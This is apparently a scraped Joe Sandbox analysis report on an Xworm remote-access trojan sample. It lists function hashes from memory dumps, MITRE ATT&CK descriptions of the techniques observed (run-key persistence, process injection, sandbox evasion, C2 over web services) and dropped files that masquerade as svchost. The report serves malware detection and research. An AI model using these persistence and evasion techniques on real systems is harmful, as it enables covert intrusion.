Source File: 00000008.00000002.1415314241.00007FFAAC570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac570000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae3a1c4e13dc46c5351c5ffe2cb1ca5e1739c0d5902005a1040a1b9fdf70ceab
Instruction ID: 541854cddb5e04278a8f68ddf085ec2c47e0b50820ecccf3903127e19197bbd7
Opcode Fuzzy Hash: ae3a1c4e13dc46c5351c5ffe2cb1ca5e1739c0d5902005a1040a1b9fdf70ceab
Instruction Fuzzy Hash: 0241A471A5CA5A8FEB44EBB8C865AFD7BE1FF98300F508579D009D7292CD38A845C781

Function 00007FFAAC570B48 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1415314241.00007FFAAC570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac570000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2eb643694192db0a67e1cd9a3c117e92eb5904ea578ccf4e3ff220aa4a9eed78
Instruction ID: 3d23fac86f60d8bc4da1ac6d3171e8a75c513f41e4e173b9b939a8c657d7075d
Opcode Fuzzy Hash: 2eb643694192db0a67e1cd9a3c117e92eb5904ea578ccf4e3ff220aa4a9eed78
Instruction Fuzzy Hash: EF215752B1891A8BFB44B7BC985A7FC72D6FF9C701F108579E00EC3292DD2899424381

Function 00007FFAAC571871 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000008.00000002.1415314241.00007FFAAC570000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC570000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_7ffaac570000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4044ae6a90e6c1693abf6e457cf09714559a31c865188b7f27062c047abf75bd
Instruction ID: a3e47201ae9c811484a38dd074985c04d27240f36142699b02dd21f1cd0e35a3
Opcode Fuzzy Hash: 4044ae6a90e6c1693abf6e457cf09714559a31c865188b7f27062c047abf75bd
Instruction Fuzzy Hash: 7901F755D4D7A28FF755A72859914727FE0DF96210F0848AEF48CC6193ED04998983C2

Analysis Process: svchost.exePID: 7788, Parent PID: 4056COMMON

Executed Functions

Function 00007FFAAC580ED9 Relevance: .7, Instructions: 689COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1500795607.00007FFAAC580000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac580000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e1a11f65be4c4cb27277ebd463a9db7ec4c7654d1790926bf175b318437db3a
Instruction ID: 6ea73cf732a3cdea42ac4cb6f4b9cb35e12f400dafca9fc3237fc2d823ea8b44
Opcode Fuzzy Hash: 4e1a11f65be4c4cb27277ebd463a9db7ec4c7654d1790926bf175b318437db3a
Instruction Fuzzy Hash: 28220571B5DA4A8FE798FB38C45967977D2FF89301F448579E04EC32D2DE28A8058781

Function 00007FFAAC5816D5 Relevance: 1.4, Strings: 1, Instructions: 180COMMON

Download Yara Rule

Strings

O_H, xrefs: 00007FFAAC581772

Memory Dump Source

Source File: 0000000A.00000002.1500795607.00007FFAAC580000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac580000_svchost.jbxd

Similarity

API ID:
String ID: O_H
API String ID: 0-3989587205
Opcode ID: 2aa3bf841322c0890f91a6db9f5b1c31f89e8697d011729cfdfae357f9383e51
Instruction ID: f9b84b5fbd09ed845ef132c0543656e91f53167b0449cd20b32fa42f2ae0c0d1
Opcode Fuzzy Hash: 2aa3bf841322c0890f91a6db9f5b1c31f89e8697d011729cfdfae357f9383e51
Instruction Fuzzy Hash: 76513451A5E6C54FE786A77888646767FD9EF87215F0804FEE08EC7293DD188806C382

Function 00007FFAAC5804D8 Relevance: 1.4, Strings: 1, Instructions: 135COMMON

Download Yara Rule

Strings

O_H, xrefs: 00007FFAAC581772

Memory Dump Source

Source File: 0000000A.00000002.1500795607.00007FFAAC580000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac580000_svchost.jbxd

Similarity

API ID:
String ID: O_H
API String ID: 0-3989587205
Opcode ID: 5d637d5fed1edfb6c7a2f2218108a49e3e69e07bbe4c9537d1248fdf400db530
Instruction ID: 5a2a029eb4ddb643d842d0bf925b29a69f10e269646900ce95518446abea539d
Opcode Fuzzy Hash: 5d637d5fed1edfb6c7a2f2218108a49e3e69e07bbe4c9537d1248fdf400db530
Instruction Fuzzy Hash: A931D362B189490FEB88FB3CD45A779B6C6EB99315F1445BEF04EC3293DD689C428380

Function 00007FFAAC580C5E Relevance: .3, Instructions: 253COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1500795607.00007FFAAC580000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac580000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 783e452f825721ed6a476e5948d5b30e152ec7f0f74a04f430401b918a6190b0
Instruction ID: 814aad445af2f8c3762638b4ece7ed1dbe74d74912b5bca4c5ab82719147c1e7
Opcode Fuzzy Hash: 783e452f825721ed6a476e5948d5b30e152ec7f0f74a04f430401b918a6190b0
Instruction Fuzzy Hash: 83715932A1DA8A8FF795A738C8556F97BE1EFC6310F0440BAE04DC7193DD18AC4A8391

Function 00007FFAAC5809A9 Relevance: .1, Instructions: 114COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1500795607.00007FFAAC580000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac580000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d81466caeccef97733e2760c2ec4d83a1f923cb4c69b98eed1c0ae4d055777
Instruction ID: c337f9e95d5ea30830d5fb95e7e6ad4e6aca6cde532dad4bf8ded49cb64768d3
Opcode Fuzzy Hash: a3d81466caeccef97733e2760c2ec4d83a1f923cb4c69b98eed1c0ae4d055777
Instruction Fuzzy Hash: 10419171A1860E8FEB44FB78C865AF97BE1FF99300F508579D04AD7296CE38A845C780

Function 00007FFAAC580B48 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1500795607.00007FFAAC580000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac580000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8c2dce9bd9ba53c67a2a4a5b2597ba945da6a13a7a3f256d7b79e70a9f8753a2
Instruction ID: 579d36deaf2e89b5646f050180a3b0f52d94392159c5d312d25082d587dffed6
Opcode Fuzzy Hash: 8c2dce9bd9ba53c67a2a4a5b2597ba945da6a13a7a3f256d7b79e70a9f8753a2
Instruction Fuzzy Hash: E9215762B1891A8BF784B7BC985A7FC72D6FF9D711F108179E00ED32D2DD28A8424391

Function 00007FFAAC581871 Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.1500795607.00007FFAAC580000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC580000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_7ffaac580000_svchost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6aff0e0079cee22c0053ead1dab4af252f86a27a237086a46e84842f4faaecdc
Instruction ID: a7e562daa99a55a39ad4a75fbdba7ae0807af693a4193a1898ed51090fef736d
Opcode Fuzzy Hash: 6aff0e0079cee22c0053ead1dab4af252f86a27a237086a46e84842f4faaecdc
Instruction Fuzzy Hash: 69014245C0E7868FF746A72888924737FE0DF92310F0844AAF4CCC6097DD08AA8883C2

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report yF21ypxRB7.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: Xworm

Yara Signatures

Initial Sample

PCAP (Network Traffic)

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

C:\Users\user\AppData\Local\Temp\Log.tmp

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\svchost.lnk

C:\Users\user\AppData\Roaming\svchost.exe

C:\Windows\ServiceProfiles\LocalService\AppData\Local\Temp\MpCmdRun.log

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Windows Analysis Report
yF21ypxRB7.exe

Function 00007FFAAC5B0ED9 Relevance: 1.9, Strings: 1, Instructions: 687
COMMON

Function 00007FFAAC5B6C16 Relevance: .5, Instructions: 470
COMMON

Function 00007FFAAC5B79C2 Relevance: .5, Instructions: 456
COMMON

Function 00007FFAAC5B2065 Relevance: 1.7, APIs: 1, Instructions: 162
COMMON

Function 00007FFAAC5B2A18 Relevance: 1.6, APIs: 1, Instructions: 135
COMMON

Function 00007FFAAC5B20A8 Relevance: 1.6, APIs: 1, Instructions: 131
COMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre